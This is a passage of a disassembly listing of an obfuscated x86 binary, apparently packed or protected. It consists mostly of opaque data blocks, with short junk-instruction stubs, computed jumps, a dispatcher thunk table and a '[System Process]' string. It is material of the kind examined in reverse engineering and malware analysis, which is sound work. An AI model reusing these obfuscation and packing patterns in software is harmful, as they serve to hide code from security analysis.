		dd 0E0998F5Bh, 0F5B35D56h, 7F0B93Ch, 430628E7h,	29966733h
		dd 42F716B7h, 60F619B5h, 25C631D6h, 1A3CEDE0h, 9A1BF2DBh
		dd 405E8CFh, 0BAE076F2h, 0A13DBA7Fh, 5D80676Eh,	0B97029ACh
		dd 75A0B295h, 0CE6B2F8Fh, 9D49EC8Dh, 2A9F6923h,	0BB66A5C7h
		dd 0A7529752h, 0ABB8C152h, 4835239Ch, 0ABF78291h, 8774239Ch
		dd 0B9DCD67h, 0CACB3E9Dh, 0F41FDA0Fh, 29989C11h, 5F58817Eh
		dd 7F558C7Bh, 9C763999h, 56E076DAh, 64A946B1h, 50B723D2h
		dd 0FDE0BD83h, 1E40DBEh, 14Fh, 41E32E91h, 2FD53A96h, 3BE122C8h
		dd 2ED62F9Ch, 40E423C7h, 0CCF0AFE2h, 0DE093Bh, 0CFEED90Bh
		dd 0FAE3023Ah, 3603F113h, 97425425h, 5C1CD123h,	9CB7608Ch
		dd 299685E1h, 20DD116Ch, 0EBDBFD03h, 402F8321h,	42877D1Fh
		dd 1B927555h, 7661834Eh, 878DB459h, 7865B27Ah, 3A43D088h
		dd 0B7299659h, 45EFFFCAh, 0D3B71DE4h, 8438ACF5h, 440C6D8Eh
		dd 9C892996h, 638CC47Ah, 41B45578h, 8D2CA168h, 0CDC04D72h
		dd 0D2FBFA1Ch, 0C751093Bh, 34B5669Bh, 0D12F95BCh, 0D4CB38A2h
		dd 0E1D41DE6h, 0F014F9D6h, 0C8F3E805h, 6EAD4C41h, 2397500Bh
		dd 9B569B88h, 4AD2691Ah, 6F3A4E42h, 52CA799Dh, 0E608E052h
		dd 0FCE1CB17h, 0D53A9621h, 0EBB03346h, 5803B0F8h, 0F8EBB025h
		dd 0E52CE5A2h, 0DB8CD83Ch, 51DD3DA5h, 0C1559C67h, 0C3259277h
		dd 9E3FAE40h, 50797E6Fh, 0A59A40B5h, 9E9C112Fh,	49714847h
		dd 0A76237BEh, 826A7887h, 698CB05Dh, 67508984h,	9F705081h
		dd 0A0B6636Ah, 702AA247h, 0C29D3D42h, 0FE11FFF6h, 18D18159h
		dd 25F5F6h, 0CE4B0000h,	8595E873h, 15122996h, 71C87501h
		dd 968597E2h, 15AB2229h, 0D4755EFAh, 0FA5318F2h, 0D38D975Eh
		dd 8C42F81Eh, 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah
		dd 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh
		dd 1DC368h, 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	2E53h
		mov	[esp], edx
		mov	esi, 219B2ABDh
		shr	esi, 7
		add	esi, 19946D0Dh
		push	esi
		dec	dword ptr [esp]
		pop	esi
		shr	esi, 2
		xor	esi, 38ADFFCh
		push	6FFAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	3A75h
		mov	[esp], esi
		add	dword ptr [esp], 497514F4h
		pop	dword ptr [edx+8]
		sub	dword ptr [edx+8], 497514F4h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		cli
		mov	edi, 2383B9A2h
		dec	eax
		mov	esi, [edi-156678FFh]
		mov	eax, 5FF456Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 30091BCh, 4907D33Eh,	4057C5F6h, 3286B2E9h, 1DD05E0Ah
		dd 49F79A8Dh, 61E5EA2Ah, 2FBE8AFDh, 41B70616h, 78A63E85h
		dd 6F34E34Bh, 75B6F0CAh, 4958DA8Dh, 4601AA6Ah, 4C8D6354h
		dd 55E93184h, 165C8ECBh, 554F42F8h, 67DEA687h, 14E8h, 9D6D6300h
		dd 7F7D67E9h, 2657CDD6h, 18956751h, 0A309E648h,	0C3B966BCh
		dd 0CE858F4h, 1C000000h, 84C67EE4h, 0D151686Dh,	0FC1C92Ah
		dd 584h, 0FBFFBF00h, 81593A09h,	5C20C0h, 81665100h, 596749E9h
		dd 0BAh, 101C8B00h, 0F98B6660h,	0EAC38161h, 812BA830h
		dd 0EE66D1F3h, 13E95Fh,	0DA260000h, 59327264h, 17FA4F96h
		dd 0B2AD8715h, 6CE3528h, 0ADC3811Eh, 0E9532BA1h, 7, 92B60ECBh
		dd 53FC63F0h, 6E856h, 68D20000h, 4D1A3CCh, 7FE68166h, 8F5F5EB6h
		dd 81661004h, 0BFE9BFD1h, 3552D57Fh, 5FD0EA81h,	595018B3h
		dd 5FCCC281h, 0B96618B3h, 0FA810E9Dh, 0FFFFA4A4h, 0FF83850Fh
		dd 0E980FFFFh, 0BE89Eh,	2B850000h, 7E79EFD9h, 9B418801h
		dd 0FE9B1h, 0C4530000h,	51675D33h, 7B8BC36h, 23EB028h
		dd 0BE95E40h, 8D000000h, 0B8E9A4BEh, 8E7049AAh,	0C681F643h
		dd 7297h, 3892BF60h, 7E979FCh, 5E000000h, 1E57128h, 0BB61C9A5h
		dd 1C76h, 8E0Fh, 36FF0000h, 5E8h, 517E4900h, 840FFB2Fh
		dd 1, 0F55F59F5h, 4EF8EF81h, 14E947E0h,	0ED000000h, 0C3563A32h
		dd 38872AAFh, 0D5926D76h, 3825D80Eh, 81BAEF84h,	9E4A6BEFh
		dd 6E92Fh, 0B40000h, 18A2ACB6h,	910BC781h, 0CB8B5EA5h
		dd 8C0F3E89h, 7, 1800Fh, 83FC0000h, 0EC8004EEh,	850F4B62h
		dd 0FFFFFF96h, 71955EB8h, 5E8D8D45h, 0E905FF48h, 5, 1CB91509h
		dd 0DD8D8946h, 2905F90Ch, 0F904E99Dh, 0C185C705h, 0D805F926h
		dd 6A00006Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 160BC352h, 777FE40Bh, 199D095Dh
		dd 0C705F934h, 0F900FD85h, 5, 0A3E38100h, 0FF236D98h, 0F916DDB5h
		dd 95FFFC05h, 5F920D5h,	9D89D88Bh, 5F92A0Dh, 95FF006Ah
		dd 5F91AEDh, 4BEBC08Bh,	92D50E48h, 8ADEF66Dh, 2620980Bh
		dd 2DCE2A44h, 0AD7D5D01h, 33BCDFE0h, 28CBD455h,	2FA3C254h
		dd 93759CDDh, 0D5E44906h, 0FD25F7E0h, 956C98F7h, 0E81E5BDFh
		dd 0B676A3FBh, 26AD938Ah, 9EEE38CFh, 0D7694F5Bh, 534BCC70h
		dd 0E96C3767h, 178h, 74A05CD1h,	84206B30h, 4CDC4FF4h, 0B015B83h
		dd 520A5522h, 0B095574h, 52025BD5h, 3B2972BCh, 527B271Fh
		dd 0D08073C4h, 9C84C70Ah, 523CB5AFh, 524D167Eh,	128h, 0
		dd 4, 2	dup(0)
		dd 33h,	0
		dd 8, 0
aSystem_1	db 'System',0
aProcess	db ' Process]',0
		align 4
		dd 43h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D20CB
; ---------------------------------------------------------------------------
		push	5FF4C9Eh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF4DF1h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF4F52h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF50AAh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF52CBh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF54BCh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF5612h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF5714h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF59D0h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF5B43h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF5C47h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF5D0Fh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF5F78h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF678Fh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FF692Fh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		db 60h
		dd 6CB146B5h, 63AAAD44h, 6EB348ADh, 60ADAA4Dh, 3BB447B6h
		dd 2CC9EB80h, 0C736E22Fh, 2FC6ED34h, 0C530E52Ch, 0FE57B732h
		dd 9F204862h, 0B4392DDAh, 46B76102h, 0AC38A179h, 189F2048h
		dd 26329E59h, 431406F1h, 46EC7924h, 5B93DAD6h, 7B401396h
		dd 0BB57AC12h, 32ED04ACh, 521FDCB7h, 0A3E852A5h, 0EE7AE36Dh
		dd 569ADF32h, 9893689Bh, 330B2E03h, 0A003F5CAh,	0C6B86B9Ch
		dd 932DC62Eh, 4B9F2603h, 35BE558h, 6B039F26h, 26037612h
		dd 0F033EE9Fh, 9D3BC22Bh, 0B69F2603h, 87FAF302h, 2A1B8E6Bh
		dd 374B8BEh, 82014B45h,	359484B5h, 3763ACA2h, 4FF4827Bh
		dd 8000000h, 2B09F213h,	0C1077FF7h, 294CE1F6h, 7BEBA851h
		dd 569B9CA0h, 7C5752A5h, 0B4A65D3Fh, 7B29B31Ch,	0C0959F26h
		dd 1740DFF2h, 0FFBC070Fh, 39DB308Eh, 0C512D1BCh, 26B3E464h
		dd 0B285049Fh, 8B6A87DCh, 74764122h, 827B313Bh,	144CCh
		dd 0F126E000h, 26CF861h, 19D89ADFh, 7C9EE3E6h, 14C11079h
		dd 186E8E1h, 8CD126D7h,	59AE9067h, 7C7F3CB9h, 0DF1E4E21h
		dd 0F76C899Ah, 0F4AF1AD7h, 0B1D22C2Fh, 0DEB11C81h, 0E6AB7063h
		dd 0D07C3431h, 0DFBF9D27h, 954A499Ah, 140FF04Ah, 848A0CBAh
		dd 0D36851A6h, 0EA0BA95Eh, 3BAC4535h, 699CA0DCh, 0A7AFD0AAh
		dd 4DF55B93h, 1EAA532Bh, 0C69F26F0h, 800B10CBh,	0A5B6A8C1h
		dd 0E265029Dh, 0AF8F4CBBh, 5A533A46h, 36DF2499h, 133F0FA9h
		dd 0B76C0AE2h, 3E9A5D36h, 6496DB43h, 6690CFFFh,	0A7974C97h
		dd 0DC23B462h, 0B2292472h, 0E6DFCA15h, 987ABDB8h, 904B98E6h
		dd 0BC94468Bh, 0DD858913h, 633E359Ah, 89E70A1Bh, 0A15CA766h
		dd 0ADB83CD9h, 0A26D37B2h, 8800001Dh, 44898E6Dh, 8BD2658Ch
		dd 468B9065h, 88D56295h, 138C8F6Eh, 0E411C358h,	0FEE0A57h
		dd 0E70EC50Ch, 0DE80D54h, 0C62F8F0Ah, 9F204E3Ah, 2607F5A2h
		dd 481901F4h, 0A64BAD41h, 6F764Fh, 0C736E2AFh, 4DCA0DC6h
		dd 0CC7485EDh, 0F91236D9h, 51912B0Eh, 564D9ADFh, 3B17BC81h
		dd 0DF5106A2h, 8531BE9Ah, 619E7578h, 0BB14BC9Eh, 9ADF5121h
		dd 1611E69Dh, 4861E02Ah, 10147DD6h, 0E48C9CA0h,	2610F18Bh
		dd 61B66D9Fh, 9D218C87h, 8F4CAB48h, 26102EAEh, 0FCBF4A9Fh
		dd 7BD0CD06h, 1115E82h,	13520000h, 276126Bh, 0F4F79ADFh
		dd 0AB4C1CFCh, 1ED99804h, 0EB53A24Fh, 6942431Ah, 0DA55B04Dh
		dd 26976482h, 0D1BC39DBh, 0D06C056Dh, 8C9ADFE4h, 94E74295h
		dd 0DF9ADFF8h, 0E938C332h, 0A95129CCh, 0DFE0B450h, 0D53309Ah
		dd 0CF48F518h, 8BFEB906h, 36284100h, 39D369Eh, 0BB9ADF73h
		dd 6E53B4AAh, 32ED2161h, 7A3DB45Bh, 0A0BD2E9Fh,	9A9D549Ch
		dd 2515300Dh, 0AC9824CDh, 4D449F26h, 0B048B08Ah, 26ACBD47h
		dd 236A299Fh, 54B502EFh, 995ADC79h, 922EC727h, 4A9ADD5Ch
		dd 5DB28C57h, 70BD3ABBh, 0DF691246h, 879ADD5Ch,	0CA86578Ch
		dd 0A7ADB8A7h, 1C4F7E26h, 82350000h, 7999E873h,	84327F7Ch
		dd 7E97E671h, 83357C7Fh, 0A966E572h, 0FAFD001Ah, 65F2FFB3h
		dd 0FDFAF918h, 67F403B0h, 55EF88E6h, 119F204Fh,	7E139C18h
		dd 155C9F56h, 6357F4E3h, 0BCE682B9h, 4E6FF962h,	1CD79ADFh
		dd 75FA54E7h, 0DC68113Fh, 889ADF4Eh, 0BC815689h, 50A74E17h
		dd 139C8893h, 13C6EDF2h, 18E32C5Dh, 6049AC49h, 0E38CC4F1h
		dd 9ADFD259h, 69D10E05h, 8801F024h, 0B30B10CBh,	3ABB85Eh
		dd 0DB28FBEEh, 0C0A35120h, 0AD20E312h, 1823051h, 4E0B02B0h
		dd 0E80FC489h, 0EEAFB53h, 125A04A2h, 0AB787F34h, 9D5C9B70h
		dd 0A8349D35h, 149ADFAEh, 0AE60FC5Dh, 93DC9ADFh, 3F14955Ch
		dd 0A7419A84h, 1F9ADFAEh, 0AD849764h, 0BB5DB28Ch, 47944F3Ah
		dd 8EE78FE7h, 9ADFAEF2h, 964B76Ah, 9CA086E4h, 8B6A87DCh
		dd 0C6EC4122h, 6C10EC2Fh, 26B67903h, 0F12EE59Fh, 87DE670Ah
		dd 6E06A6A8h, 0AC877B05h, 799EE368h, 8B580B7Eh,	6386BB50h
		dd 62FB63FBh, 68AC87C6h, 0D538837Eh, 6ED39D08h,	0A9662738h
		dd 7A738236h, 4FB74899h, 0A9684497h, 93B68B40h,	18BE53ABh
		dd 0E437ECDDh, 56AEF389h, 6090D56Bh, 0AF624691h, 5A9D3ACFh
		dd 0CAE87DDDh, 16E1C22Bh, 924BAA47h, 0BB44D1D4h, 0EE7034B5h
		dd 0D400001Ah, 0F845D221h, 0CF1E19D8h, 0FA47D421h, 0D4191EE1h
		dd 0C748D322h, 0A05D770Ch, 53A2569Bh, 9B5A79C8h, 51A451A0h
		dd 92EB43C6h, 9F204DF6h, 133BB96Eh, 599E597Eh, 2618DF14h
		dd 359BCD55h, 0DA1D0D13h, 0C4E55CEFh, 18DD155Ah, 21F9BE95h
		dd 0A08BFBB8h, 71A6EB9Ch, 0B3EC78E1h, 99589F26h, 0AA379166h
		dd 2734EF0Eh, 60BA3DDAh, 2801D87Fh, 1BE0EE40h, 19B74CB2h
		dd 88029E37h, 0C7BA9F26h, 5D291FCh, 0DC753BF2h,	9F268840h
		dd 60BA05FCh, 2650B8F7h, 2F50A899h, 2BD16361h, 0F884F5D5h
		dd 649AD976h, 43E054ADh, 394B1542h, 0F7671A7Eh,	0F6224372h
		dd 12CD8607h, 22BE1797h, 9A9AD9A5h, 7FDF1CE7h, 956892D7h
		dd 0B57C3F14h, 85F500h,	0EAA924D3h, 28D02A2Dh, 0D9A535CFh
		dd 0B160B19Ah, 0F33A7D42h, 5FE992BEh, 79AD9A5h,	7600B90Ch
		dd 0CFD2420h, 825D6D7h,	0ADE48DEDh, 539CD987h, 9F139182h
		dd 7F44B2DAh, 4EB14A9Fh, 0DB33885Bh, 81966196h,	22BB973Ch
		dd 9F265086h, 0D5D81DD3h, 1CE79AFEh, 2231AB1h, 8D17C018h
		dd 399F2650h, 37BEF33Ah, 8AF28AE4h, 50FF89F2h, 0AC679F26h
		dd 265037D1h, 27F4AF9Fh, 5969DD46h, 8D504399h, 0ADBA8ADFh
		dd 965B09C4h, 7C000019h, 509D9A59h, 77C651A0h, 529F9C59h
		dd 7CC156A9h, 1FA09B5Ah, 0D825CF64h, 1BDAFE43h,	0D322D120h
		dd 19DCF948h, 9A439B1Eh, 9F20520Eh, 26D3C1B6h, 0D41901F4h
		dd 704D71Eh, 0C29CBD74h, 0D61FD51Ah, 24F72801h,	0E42D9CA0h
		dd 8D9CA92Eh, 2FA4EF94h, 0E51AF9F4h, 0CE058AE4h, 688DD427h
		dd 8E438A8Dh, 647DAC49h, 0E58E6A0Bh, 9F26125Bh,	10D31003h
		dd 4340219Dh, 13AD46BBh, 0CB9F261Fh, 418EEDD8h,	71D05BA0h
		dd 73A1E658h, 7CD53582h, 99586F1Fh, 24D30287h, 59F5D7h
		dd 9ADF9764h, 7EEE82E9h, 0CF2981F5h, 2E9E0FD4h,	5C9939CEh
		dd 0A65B271h, 0C5F2774Dh, 7B98E532h, 55EC7F7Ch,	56394A34h
		dd 7483BAA0h, 0B61E00BBh, 0D3A04FA5h, 0FEB9D077h, 0A056EA1Bh
		dd 40C99A9Ch, 97FFC0CFh, 1110EC2Fh, 698C2998h, 14E11180h
		dd 69882899h, 27CEA380h, 90FBDDD0h, 0DF8A9ACBh,	0D101865Ch
		dd 0ED44D724h, 140972CCh, 8C9959D1h, 9001DEF7h,	5DCDA09Eh
		dd 984B3E81h, 9B8C6943h, 0FB6C95C6h, 2004FB2h, 0D6BF4A30h
		dd 12BF0E09h, 0C0F67BE3h, 76F7E235h, 9ADF4AD6h,	6DC5FBAh
		dd 0E8125181h, 4BF9415h, 400DCA89h, 0BE17BF93h,	9ADF4A22h
		dd 0EA76E79Ah, 529ADF4Ah, 77D7649Fh, 487FE66h, 936ED8C2h
		dd 8EF3740Fh, 64B90D5h,	18A326D1h, 66025B19h, 0DE9ADF79h
		dd 0D57EE023h, 9CA0515Ch, 3F0C0F02h, 0DF94A963h, 1FFFC431h
		dd 1D34033Eh, 0A96E7FC0h, 74128D1h, 0E6FF9926h,	6FA4A11Ah
		dd 734E0588h, 0B86B05E5h, 3BC52EC6h, 0A39AD9A4h, 118B1FD2h
		dd 417E07B0h, 30B51576h, 0DAA77483h, 71CCBD40h,	9AD9A7EBh
		dd 0D84263DAh, 43985D93h, 0DDFE93EBh, 1D7CDD1Ah, 39CD97Fh
		dd 0B94D2E10h, 7FA06994h, 8CE1397Eh, 59AE9067h,	984B3EBFh
		dd 9566C843h, 0B0E7D13Bh, 11BF8E62h, 0AD4A17E4h, 0FEDF5F4Ah
		dd 124C19B6h, 3A1110C5h, 0D5EA6BFFh, 5680CD0Ah,	0CE11E415h
		dd 0C175770Bh, 0D79D50A7h
		dd 1775h, 0BE39B85Bh, 0A5B23F6Fh, 0C03BBA58h, 0A2B54871h
		dd 0BF3CB95Bh, 0C6F08340h, 39DD2437h, 0C3F23FBCh, 3DDA2734h
		dd 62BC3DBAh, 20506FF9h, 0B222D79Fh, 9A5D7E13h,	0F61D742Fh
		dd 2D58EFFh, 0DF5C993Bh, 84ED6592h, 9ADF02F8h, 872AD64h
		dd 0E2134C83h, 6DDD013h, 5C79C8B1h, 2C15BF4h, 867D9ADFh
		dd 0D1015039h, 0B858A924h, 85EE5039h, 9ADF02FBh, 9968B063h
		dd 146FED1Eh, 34F8447h,	0DF02CE5Ah, 487B769Ah, 0E3023BB3h
		dd 61938874h, 29000002h, 8306F126h, 0FC5E993Eh,	34B867DBh
		dd 0DF12019Bh, 0DBC6BD9Ah, 0C0CC6934h, 0F2757237h, 36B106B9h
		dd 11698CA1h, 57741069h, 31F09ADFh, 9AEB84E6h, 489CA066h
		dd 43B25FA4h, 14B0894Ah, 0D09F2666h, 741069D1h,	0F09F2666h
		dd 0E48CEE31h, 2666F18Bh, 61B66D9Fh, 6657F578h,	0F8539F26h
		dd 0DBF88D63h, 165FDF1Ch, 0A7827B7Bh, 7Eh, 3AC62FC7h, 0A29F266Eh
		dd 6E17B14Ah, 0D4CF9F26h, 3AC62F0Fh, 0A29F266Eh, 0E0C82CEFh
		dd 7ED64861h, 12A4FE5Dh, 5EBFD06Fh, 9ADF6CC2h, 32C3F57Ah
		dd 0A7502AEDh, 9CA07EEAh, 579E559Ah, 6B07D56h, 0C9C824F7h
		dd 0AE4B9071h, 3762CBB5h, 0B114DF1Ah, 0B205753Bh, 0F92267C7h
		dd 708D2706h, 0F851A67Dh, 9F26D450h, 3CAD5069h,	0D6D71ED5h
		dd 2B5CDF3Ah, 3F9BE4Dh,	827B0CBAh, 0DF4Bh, 0F1266100h
		dd 6AB53C74h, 15E8127Fh, 20D51A94h, 9D5C78D5h, 85DE135Ah
		dd 6F5AA550h, 9F5E7A0Fh, 15E0155Ch, 1ED4A702h, 770C9ADFh
		dd 0F5E9958h, 730813E2h, 2EC39BBEh, 0D0AA6D88h,	0A377AE27h
		dd 55FE569Ch, 9F24F6CBh, 613B8073h, 65A7B8A2h, 67CBAD56h
		dd 20B89265h, 0DFCA27CBh, 506AB704h, 0C7D56F08h, 92919F24h
		dd 5183CA4Dh, 413F59A4h, 0B11CA7BFh, 158403h, 0B04F6A00h
		dd 47AE66ABh, 0AE476DB4h, 44B364A9h, 0AD506AB7h, 0E57631AAh
		dd 0E835C233h, 0E32A2DCCh, 0EB32C52Ch, 0B12C2FC6h, 5618A44Dh
		dd 0D3C49F20h, 0E3F426E9h, 412565DDh, 3A24DFBFh, 0F3652F29h
		dd 678E881Eh, 79461D90h, 20AC38A1h, 59189ADFh, 9F54999Eh
		dd 9615E658h, 3AB77A4Bh, 0D26E0777h, 8A9ADFE3h,	0DDC74497h
		dd 1406F126h, 0D9D421CFh, 260FC55h, 25DC9ADFh, 52AC1DDAh
		dd 80DA1BBDh, 0DF024DD7h, 0BDFAF99Ah, 0F8224370h, 6F8E2805h
		dd 5AA57Eh, 265FF58h, 90E19ADFh, 3F149564h, 5AB43784h
		dd 0AB16DF15h, 6F810E81h, 4716E14Ch, 0A9624BAAh, 0A330DF94h
		dd 5085FB7Dh, 4931EEEDh, 0DF8814B0h, 0ED1D09Ah,	0C32CC42Ch
		dd 9ADF8839h, 59CBD0A5h, 0B3E16D35h, 8DD2AB70h,	759CA02Eh
		dd 0B732C1F0h, 0A8BD1FDCh, 658F1991h, 1608BBBCh, 598B15BEh
		dd 40339F26h, 87D4807Bh, 0DE00000Ah, 456FF426h,	0BE01F426h
		dd 1FD41901h, 139A03D8h, 9ADF02B5h, 787F36BBh, 809998A3h
		dd 0DA6E359Eh, 8BD49CDFh, 0E8528D64h, 74876EA3h, 0D6D882Dh
		dd 4A700C65h, 35EC9F20h, 7E39B858h, 4F14C60Bh, 0BA46AFA1h
		dd 229F204Ah, 0AE6FB46Fh, 0A7BBBE20h, 2E1CC801h, 14000014h
		dd 0B80512E1h, 0F5ED918h, 0BA0714E1h, 1459DE21h, 870813E2h
		dd 609D37CCh, 936296DBh, 5B9A3988h, 916491E0h, 52AB0386h
		dd 9F2054B6h, 267B792Eh, 83B7E3F4h, 0C5398B7Bh,	3B0FDFAh
		dd 0D3058AF4h, 9DE4D522h, 8BC5EB78h, 0DFDA56F2h, 0D0130E9Ah
		dd 0BB1406DDh, 9ADFDA21h, 4119E69Dh, 41466B20h,	0AF646598h
		dd 0E1625D56h, 0CE2DA316h, 0C1914609h, 251ADBA0h, 8AF3ED4Dh
		dd 9ADF45FEh, 30E6AB66h, 0D40FC4C5h, 9B8EC747h,	0D1F8874h
		dd 95000000h, 0DF194112h, 0ADAA669Ah, 48FFFFFCh, 87C2F213h
		dd 0D03B8070h, 0DCAA320Bh, 0ABCC9ADFh, 6E1D821h, 0E1CD382Dh
		dd 1D4851D2h, 37F601D6h, 4F943C1Eh, 603B38A3h, 0F3172DD5h
		dd 11E6BD30h, 0DF6C6138h, 3A24DF9Ch, 62F500B5h,	0A4518308h
		dd 0FCC29CDh, 26D09542h, 0C2FDD6D7h, 3F088758h,	0C27E5E08h
		dd 9B3D84F5h, 0E2159F5Ah, 0CFFAA7BBh, 132C25h, 18E71200h
		dd 0DF16BE03h, 16DF155Ch, 0DC1BBC01h, 15E8125Fh, 3DCE8902h
		dd 90DD5A9Bh, 3B829564h, 93DA5D94h, 984975Eh, 55B04CA5h
		dd 7B2C9F20h, 6F12681h,	5E993E83h, 61FB54FCh, 0DD9ADF02h
		dd 68E8D126h, 668B4E09h, 0C9128C8Fh, 5A8874E2h,	15h, 1941124Eh
		dd 18C19ADFh, 9ADF088Ch, 4A863938h, 0FFFFFBE0h,	126B1368h
		dd 9ADF0276h, 53E833EEh, 0FA63BBDEh, 9CA02DE9h,	0CC319C57h
		dd 9F261533h, 23199E2Dh, 827BC7DAh, 29C6Bh, 0F3FA0B00h
		dd 67850D97h, 0CD0C537Dh, 408300F4h, 1A12197Bh,	8F9ADF02h
		dd 28CF0463h, 0B13628DBh, 1EF5F805h, 0E3285AD9h, 2AF7C431h
		dd 4BAC4C8Dh, 0EFEA76DFh, 9F529ADFh, 0F8F75846h, 52AB532Bh
		dd 9ADF99B6h, 0C332E12Eh, 0F140BB00h, 0C44931C4h, 0A316E110h
		dd 0E80FC64Bh, 990A3A13h, 0E30F9ADFh, 882E9316h, 0ED9C7C6Dh
		dd 8FEF396Ah, 99F28EE7h, 0B76A9ADFh, 764C0F64h,	8B6A89DEh
		dd 0DF9916B2h, 8D3CE9Ah, 1599C39h, 6AAD446Ch, 0C6DF5AEDh
		dd 6A136BC3h, 9ADF99DEh, 1508B86h, 0C71621D4h, 5BE2CB2Ah
		dd 9ADF996Dh, 0A3991EADh, 8874435Ah, 1E8EBh, 0CF068B00h
		dd 29EEA528h, 6F126C7h,	0F1FD4314h, 7F52905h, 5B78C9B4h
		dd 92C25EF7h, 0F57A9ADFh, 38EB38BDh, 80999823h,	0B8AB499Eh
		dd 0A627DC1Bh, 0A7502AEDh, 9CA0A3D6h, 0A05D790Eh, 47A1762Dh
		dd 88DD614Ch, 461D906Fh, 0A3309871h, 0A9499F26h, 0C7F0614Ch
		dd 0D629B538h, 0D968D001h, 0CB03885Eh, 4F946394h, 0B832855Eh
		dd 827B3D7Fh, 4410h, 7E13A400h,	0E22F9A5Dh, 0BCFFC433h
		dd 87F7122Fh, 0A010A5EEh, 25A85B9Ch, 261000C8h,	16A1209Fh
		dd 0A53F9840h, 219F2610h, 5C959562h, 0ED827BD0h, 11Fh
		dd 0BC676C8Dh, 8C2F9299h, 26460A39h, 0DA1D0301h, 6F126F6h
		dd 8913BC14h, 0CA9ADF02h, 36EDCF2Eh, 211AB44h, 0D6CD9ADFh
		dd 8F299801h, 29430C9h,	51509ADFh, 0E41FD6FCh, 0A37485E9h
		dd 0FD1902h, 71FDCFA5h,	0BB3AD7A6h, 0FE527FD2h,	0DF94CB55h
		dd 0C05CF59Ah, 7C9ADF94h, 0A3601385h, 0BCFA3598h, 92EA9ADFh
		dd 0DF8C5FE9h, 0CF0C079Ah, 68FD5582h, 6241AC4Bh, 0DF8C6DF7h
		dd 0B0476E9Ah, 8D8A554Ch, 382243FAh, 8CAD37A0h,	5A199ADFh
		dd 0BB14BD9Dh, 6B9CA3FDh, 9F567E13h, 7804752Eh,	0E49F247Ch
		dd 810EEA2Dh, 0C628A154h, 247C932Dh, 8B584B9Fh,	77A1E658h
		dd 70A5BEF4h, 95853A85h, 8651A050h, 0C99A3C81h,	2E1CC29h
		dd 878EFCBDh, 6667A7BFh, 1070BEh, 54A35600h, 9B5A7AC7h
		dd 52A351A0h, 0A05F78C5h, 51A4569Bh, 0F98A45C6h, 0D4191EDFh
		dd 0F746D120h, 0CF1E19D8h, 0C548D322h, 5B741069h, 37F09F20h
		dd 1F426BDh, 0EB0AA7F6h, 19DCFE93h, 6C0159DEh, 0EB589045h
		dd 0F0C150CAh, 26FCE833h, 19B6E8F1h, 91E79D7Ch,	7B97EC4Eh
		dd 83580B7Eh, 0EB0AA71Ah, 0F692EB93h, 6E9ADF4Dh, 41E368B3h
		dd 602h, 7C85A0B3h, 0ED2AC7E7h,	8630E35Ah, 29D2AC77h, 9CDFDA43h
		dd 2F12065h, 71C8AE87h,	2BD1F33Ah, 0CAC923F8h, 0E0F31B70h
		dd 0EFF25420h, 37843F97h, 4471F658h, 0B906F31Fh, 3154E9FEh
		dd 5D3C3849h, 0BF1AA64Fh, 0CFC29F20h, 9DDBA1F6h, 1358005Ah
		dd 0FAB16DBh, 0E10E0363h, 4592EB30h, 3B995FBFh,	49C9C72Ah
		dd 974C77F2h, 1AA64FA7h, 0C29AD911h, 1137D12Ah,	0F4AF9AD9h
		dd 7C01EC2Fh, 9AD911DCh, 0B435C0F5h, 5B4EA74Dh
		dd 0A0D166C5h, 6C3344B8h, 8BFB94B7h, 209B7843h,	6DF4F12Ah
		dd 5118288h, 0DF000000h, 850BE1F7h, 24D69B88h, 0C0FBD8D1h
		dd 597E13D4h, 5800599Eh, 5E9ADF02h, 2C35DF6h, 8C849ADFh
		dd 59259623h, 7D4CF29h,	0DFFB9726h, 84A59C9Ah, 579E559Ah
		dd 0BC51AA84h, 0A49CA0E3h, 4346B35Fh, 0D714B90h, 26F3D864h
		dd 0AD8D849Fh, 26F3B844h, 0B26D249Fh, 0C1157967h, 0D19356A7h
		dd 0EFDh, 36C130E3h, 2D2AC7E7h,	38C332E0h, 2A2DD0E9h, 37C431E3h
		dd 4E68FBB8h, 0B165ACAFh, 4B6AB744h, 0B562AFACh, 0DA34B542h
		dd 2059E781h, 2AAA5F9Fh, 3C93F213h, 376E097Dh, 7D789DE4h
		dd 0A7C27F0Ch, 718432B7h, 354A9B78h, 3FBCEB55h,	8DE54592h
		dd 91599F6Ch, 11E61558h, 0DF618D38h, 0FB00F39Ch, 0F526D170h
		dd 0F55DBD02h, 63B84770h, 20295B0Ah, 0F04A4999h, 0B855EF88h
		dd 12119ADFh, 0F42065C5h, 6BB83D73h, 8DE68EF0h,	9ADFB8F3h
		dd 0A63B86Bh, 9ADFB91Ah, 8532E559h, 25CDAD72h, 0DFB930CCh
		dd 22F5AC9Ah, 0BD3CD825h, 0DEC085Dh, 4572DFCAh,	0AD8437B2h
